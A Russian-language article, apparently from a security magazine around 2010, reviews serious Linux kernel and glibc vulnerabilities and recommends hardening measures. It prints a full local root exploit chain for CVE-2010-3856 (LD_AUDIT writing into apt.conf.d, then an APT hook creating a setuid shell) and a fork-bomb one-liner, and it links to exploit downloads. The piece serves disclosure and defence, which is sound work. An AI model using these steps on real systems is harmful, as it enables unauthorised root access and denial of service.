Содержание статьи
Сегодня мы представим твоему вниманию самые опасные уязвимости в GNU/Linux за последнее время и покажем, что без дополнительных средств защиты и регулярных обновлений он тоже очень уязвим.
Kernel
Ядро — самая важная и, пожалуй, самая сложная часть ОС (если это, конечно, не микроядро). Linux содержит более тринадцати миллионов строк кода. Поэтому не удивительно, что периодически в нем обнаруживают уязвимости. Так, например, в октябре прошлого года в коде, отвечающем за поддержку протокола RDS (Reliable Datagram Sockets), была обнаружена уязвимость, позволяющая повысить свои привилегии в системе до root (CVE-2010-3904). RDS предназначен для высокоскоростного обмена данными между узлами (прежде всего, в кластере) и нацелен на использование шины InfiniBand. Он был создан в недрах корпорации Oracle и широко используется, пожалуй, только в ее продуктах.
Таким образом, штука эта весьма и весьма узкоспециализированная. Однако этой уязвимости оказались подвержены большинство дистрибутивов, так как в них поддержка RDS была вкомпилирована модулем (CONFIG_RDS=m). Уязвимость подтвердили для всех ядер с поддержкой RDS: с 2.6.30 по 2.6.35.
Обнаружив уязвимость, Дэн Розенберг из Virtual Security Research сначала сообщил о ней разработчикам ядра, и только после того, как они выпустили фикс (15 октября 2010), Дэн обнародовал данные об уязвимости (19 октября) и опубликовал эксплоит, который можно взять здесь: www.vsecurity.com/download/tools/linux-rds-exploit.c. Работу эксплоита ты можешь наблюдать на иллюстрации к статье. Быстрее всех обновление вышло к Ubuntu (9.10, 10.04 и 10.10) — 19 октября.
RedHat выпустил обновления к своим продуктам только 25 октября (обновление долго тестировалось). Debian Lenny с относительно стареньким 2.6.26 не был подвержен уязвимости ввиду отсутствия поддержки RDS. Пока брешь не была закрыта, производители предлагали заблокировать загрузку модуля rds (если протокол не используется):
# echo "blacklist rds" > \
/etc/modprobe.d/blacklist-rds.conf
Следующая интересная уязвимость в ядре любопытна не столько сама по себе, сколько благодаря истории, развернувшейся вокруг нее. В 2007 году известный исследователь безопасности Бен Хоукс обнаружил опасную транзакцию 32-битных вызовов в 64-битных ядрах. Эта уязвимость позволяла повысить свои привилегии в системе до root. Ben сообщил об этом разработчикам, и они исправили ошибку. Каково же было его удивление, когда в 2010 году он обнаружил уязвимость на том же месте, как ни в чем не бывало.
Оказалось, что в 2008 году из-за его первоначального патча была обнаружена регрессия, и код был исправлен таким образом, что уязвимость появилась вновь. Таким образом, все ядра, вышедшие в 2008-2010, оказались уязвимы. Но это еще не конец истории. Бен Хоукс выложил PoC, демонстрирующий, что уязвимость существует: sota.gen.nz/compat2/robert_you_suck.c.
Через некоторое время в общем доступе на seclists.org появился уже не PoC, а вполне себе работающий эксплоит от Ac1db1tch3z: seclists.org/fulldisclosure/2010/Sep/att-268/ABftw_c.bin. PoC Бена содержал менее двухсот строк кода и был легко читаем, эксплоит же от Ac1db1tch3z был размером больше тысячи строк и практически нечитабелен. И, как оказалось, не зря. Ребята из Ksplice обнаружили, что этот эксплоит является одновременно бэкдором, позволяющим удаленно получить права суперпользователя на данном компьютере. По одним данным, бэкдор накрепко поселялся в системе, по другим — для лечения достаточно перезагрузки. Наглядная демонстрация того, что не стоит запускать подобные вещи. В крайнем случае — на виртуальной машине… отдельного тестового компа.
Следующая уязвимость в ядре (CVE-2010-2240) примечательна своей «живучестью» и широким спектром уязвимых версий: она была известна минимум шесть лет, но не была исправлена по нелепой случайности. Затрагивает, скорее всего, все ядра ветки 2.6 (а возможно, и 2.4). Уязвимость сидит в одной из самых важных подсистем ядра, отвечающей за управление памятью: оказывается, ядро допускало пересекающиеся границы для двух разных областей виртуальной памяти. Таким образом, при соблюдении определенных условий можно было добиться выполнения произвольного кода. Проще всего для эксплуатации уязвимости было использовать X-сервер (с расширением MIT-SHM) и любое графическое приложение (необязательно специально написанное, теоретически подойдет, например, дырявый браузер или PDF-ридер).
Подробную инфу по эксплуатации уязвимости через X-сервер можно почерпнуть в документе xorg-large-memory-attacks.pdf на сайте www.invisiblethingslab.com.
Защитить от эксплуатации данной уязвимости не способны ни SELinux, ни chroot. Как временное решение по защите от атаки именно на X-сервер было предложено отключить MIT-SHM, добавив в xorg.conf:
$ cat /etc/X11/xorg.conf
Section "Extensions"
Option "MIT-SHM" "disable"
EndSection
Для устранения данной уязвимости срочно были выпущены обновления ядер 2.6.32.19, 2.6.34.4 и 2.6.35.2. Примечательно, что еще в 2004 году разработчики из SUSE предложили свой патч, но по каким-то причинам он не был включен в ванильное ядро. SLED и openSUSE данной уязвимости не имеют. К сожалению, не все уязвимости удается пофиксить полностью и достаточно оперативно. Яркий тому пример — совсем свежая уязвимость в ядре, позволяющая от локального непривилегированного пользователя осуществить DoS-атаку. Код для проверки «подвержена ли твоя система данной уязвимости» можно взять тут: lkml.org/lkml/2010/11/25/8. На некоторых конфигурациях выполнение этого кода приводит к 100% загрузке всех ядер процессора, исчерпанию файловых дескрипторов и зависанию. На других — процесс просто сильно загружает систему. Обнаружить какую-нибудь закономерность в версии ядра, разрядности и так далее пока не удалось. Причем, если слегка модифицировать данный код, то он вполне способен повесить и некоторых представителей BSD-семейства, например FreeBSD 8.1 или OpenBSD 4.8.
В отличие от той же банальной форк-бомбы (например, классической «:(){ :|:& };:»), данный код имеет следующие особенности:
- Невозможность выставить какие-нибудь ограничения через ulimit (основной способ защиты от форк-бомб);
- Процесс нельзя убить. Даже от root. Даже через «kill -KILL». Поможет только перезагрузка.
На момент написания статьи еще не существует патча, устраняющего данную проблему на всех конфигурациях. Есть только частично устраняющие проблему.
System
Не менее опасными могут быть и «неядерные» уязвимости, обнаруженные в каком-нибудь широко распространенном системном компоненте дистрибутива. Взять, например, уязвимость в ldd. Она не очень опасна, но зато достаточно интересна. Уязвимость позволяет, используя специально созданный бинарник, выполнить свой код вместо вывода списка динамических библиотек. Обычный вывод ldd выглядит примерно так:
# ldd /bin/ping
linux-vdso.so.1 => (0x00007fff69b7e000)
libc.so.6 => /lib/libc.so.6 (0x00007fd0cce9f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd0cd243000)
На самом деле, ldd — это просто bash-скрипт, который устанавливает переменную окружения LD_TRACE_LOADED_OBJECTS=1, а затем выполняет программу. Загрузчик динамических библиотек ld-linux.so, в свою очередь, проверяет значение этой переменной. Если переменная установлена, то выводится список динамических библиотек, а программа не выполняется. Другими словами, вместо запуска ldd можно использовать такую конструкцию:
# LD_TRACE_LOADED_OBJECTS=1 /bin/ping
linux-vdso.so.1 => (0x00007fff232da000)
libc.so.6 => /lib/libc.so.6 (0x00007f1bf7363000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1bf76e6000)
Однако недавно Петерис Круминс обнаружил, что если программу собрать с помощью слегка модифицированной версии libc, то можно заставить ld-linux.so не проводить проверку, а сразу исполнять код. То есть, если кто-нибудь выполнит «ldd exploit», это приведет к выполнению бинарника exploit. «Польза» от такой уязвимости весьма сомнительна, но Петерис описывает один из сценариев ее использования: пользователь хостинга жалуется администратору, что его программа не работает.
Администратор первым делом выполняет «ldd exploit» (с правами root, разумеется). Программа выполняется, кроме полезных действий имитируя нормальный вывод ldd, где сообщается, что не хватает какой-нибудь библиотеки. Администратор уведомляет об этом пользователя, и все остаются довольны: администратор оттого, что избавился от очередного глупого юзера, а пользователь — оттого, что порутал сервер.
Прошедший год был также богат на уязвимости в glibc, гораздо более серьезные, чем в ldd. Одна из уязвимостей (CVE-2010-3847) позволяет локальному пользователю получить права root. Проблема вызвана тем, что glibc игнорирует некоторые пункты спецификации ELF. Для реализации этой уязвимости необходимо и достаточно наличие прав на создание жестких ссылок в файловой системе, допускающей наличие suid-файлов, и, собственно, какой-нибудь suidбинарник. Бинарник и каталог с доступом на запись должны быть на одном разделе (так как создание жестких ссылок возможно только в пределах одного раздела). Примечательно, что разработчики glibc об уязвимости знали, но не считали, что ее возможно эксплуатировать. Уязвимость затронула Fedora (вместе с RHEL/CentOS), а также некоторые другие дистрибутивы. Debian и Ubuntu не были задеты по чистой случайности — из-за немного других опций сборки eglibc.
До выхода обновления защититься от этой уязвимости можно очень просто — достаточно, чтобы все директории, доступные пользователям на запись (например, /home и /tmp), были смонтированы с опцией nosuid. Но не успели в glibc как следует залатать эту уязвимость, как обнаружили другую: CVE-2010-3856. Уязвимости имеют общие корни, и эта тоже позволяет поднять свои привилегии в системе, но не требует для эксплуатации прав на создание жестких ссылок. Связана новая уязвимость с недостаточными проверками при динамическом связывании (в режиме LD_AUDIT) библиотек с бинарниками с установленным suid-битом. Для реализации необходима библиотека, не учитывающая наличие suid-файла, и, собственно, любой suid-бинарник, например:
$ ls -l /bin/ping
-rwsr-xr-x 1 root root 34716 2010-07-28 14:44 /bin/ping
В качестве библиотеки будем использовать стандартную библиотеку профилирования libpcprofile. В Debian/Ubuntu она входит в стандартный пакет libc, в RHEL/Fedora — в пакет libc-utils. Использовать именно эту библиотеку не обязательно — можно любую, не проверяющую различие EUID и UID.
$ ls -l /lib/libpcprofile.so
-rw-r--r-- 1 root root 5496 2010-09-11 00:32 /lib/
libpcprofile.so
Для начала выставим нужную umask, чтобы файлы создавались с правами 666: umask 0. Собственно, эксплуатируем уязвимость:
$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/
apt/apt.conf.d/666exploit" /bin/ping
По идее, у непривилегированного пользователя нет прав на запись в каталог /etc/apt/apt.conf.d, однако:
$ ls -l /etc/apt/apt.conf.d/666exploit
-rw-rw-rw- 1 root adept 4 2010-12-04 01:03 /etc/apt/apt.
conf.d/666exploit
Такой вот нехитрой манипуляцией мы получили файл /etc/apt/apt.conf.d/666exploit с возможностью в него писать. С помощью данной уязвимости можно только создать новый файл, перезаписать уже существующий не получится. Почему я записал именно в apt.conf.d?
Да, логичнее было бы создать файлик с собственным заданием cron, но стандартный для большинства дистрибутивов vixie-cron выполняет правила только в файлах с правами 644, иначе ругается на «BAD FILE MODE». В rc-скрипты тоже писать бесполезно, так как нужно право на выполнение, а сделать его через данную уязвимость невозможно. В общем, файл создан, можно в него что-нибудь написать, например:
$ echo "APT::Update::Pre-Invoke { \"cp /bin/bash /tmp/
exploit && chmod u+s /tmp/exploit\"; };" > /etc/apt/apt.
conf.d/666exploit
Теперь при каждом выполнении «apt-get update» будет создаваться файлик /tmp/exploit. Если настроены автообновления — вообще хорошо, ждать долго не придется. Когда это событие, наконец, произошло:
$ /tmp/exploit –p
exploit-4.1# whoami
root
в RedHat проанализировали последние уязвимости (в том числе и в glibc), поразмыслили и решили, что suid-бит вообще — это зло. Поэтому во всех следующих своих продуктах от использования suid-бита постараются отойти, используя вместо него специальный механизм ядра — capabilities. Первые результаты такой политики должны быть видны уже в Fedora 15.
Что же делать?
Сложного ПО без ошибок просто не существует, поэтому придется смириться с тем фактом, что уязвимости будут обнаруживаться постоянно. Но можно постараться максимально себя от них обезопасить. Для этого нужно, во-первых, избавиться от всего ненужного в ОС, оставив только минимальный набор. Начать можно с анализа списка работающих сервисов: например, от использования avahi-daemon многие могут отказаться. В нужных сервисах, в свою очередь, оставить только самый необходимый список функций.
Например, отключить поддержку IPv6 там, где она не нужна (код поддержки IPv6 во всех сервисах относительно новый и еще недостаточно протестирован). Также неплохая идея пересобрать ядро только с нужными опциями (драйверами, протоколами, etc).
Во-вторых, нужно оперативно получать информацию о новых уязвимостях в используемом ПО: здесь отлично подойдут mailлисты используемого дистрибутива, RSS с багтраков (например, с securityfocus.com) и так далее.
В-третьих, получать обновления безопасности тоже хочется максимально быстро. Стоит рассмотреть возможность автоматической установки обновлений безопасности (на некритичном сервере, думаю, это оправданно, а вот на highload production-сервере я бы не рискнул).
В Debian (и его производных) автоматическая установка обновлений безопасности настраивается с помощью пакета unattended-upgrades.
В Fedora/CentOS — с помощью yum-updatesd или yum-cron. И, наконец, надо постараться максимально увеличить защиту своей ОС.
Тут все сильно зависит от области применения, но в большинстве случаев не помешает установка/настройка SELinux или AppArmor — они хоть и неэффективны при эксплуатации дыр в ядре или низкоуровневых системных компонентах, но достаточно полезны при компрометации какого-нибудь демона или пользовательского приложения. Повысить безопасность ядра и его «окружения» тоже можно: например, с помощью специальных патчей, самый известный из которых — grsecurity. Основной компонент grsecurity — PaX, специальный патч, ограничивающий доступ приложений к страницам памяти: сегмент данных программ в памяти помечается как недоступный для исполнения, а сегмент кода — как readonly. В придачу используется рандомизация памяти — при каждом запросе память выделяется из произвольных мест. Кроме PaX, grsecurity может предложить следующие основные дополнения:
- ролевой контроль доступа (RBAC);
- улучшение безопасности chroot путем наложения дополнительных ограничений — например, невозможность просмотреть процессы, запущенные извне chroot;
- опция, запрещающая непривилегированным пользователям запускать бинарники, не принадлежащие пользователю root или доступные на запись для всех;
- запрет на чтение некоторых файлов в /proc и запрет на выполнение dmesg и netstat от обычного пользователя;
- ограничение использования ссылок: запрет на создание жесткой ссылки на файл и на использование симлинка, если пользователь не является владельцем файла.
Недавно разработчики ванильного ядра тоже всерьез задумались о безопасности. Пока предлагается реализовать следующие механизмы:
- внедрить PaX (или его часть);
- реализовать защитный механизм, запрещающий выполнение кода и операций записи для определенных частей модулей;
- ограничение доступа к элементам из /proc, позволяющим получить важную для атаки информацию (возможно, часть кода будет взята из grsecurity);
- контроль автозагрузки модулей;
- специальная метка, помечающая процесс как только 32- или 64-битный.
И многое другое. Весь список можно посмотреть в разделе «Roadmap - KernelHardening» на сайте https://wiki.ubuntu.com. Надеюсь, хотя бы часть из этого списка мы скоро сможем увидеть в ванильном ядре.
Links
- grsecurity.net — офсайт патча grsecurity;
- www.gentoo.org/proj/en/hardened/ — Gentoo для параноиков, с интегрированным grsecurity и другими патчами;
- www.openwall.com/Owl/ — еще один дистрибутив, помешанный на безопасности.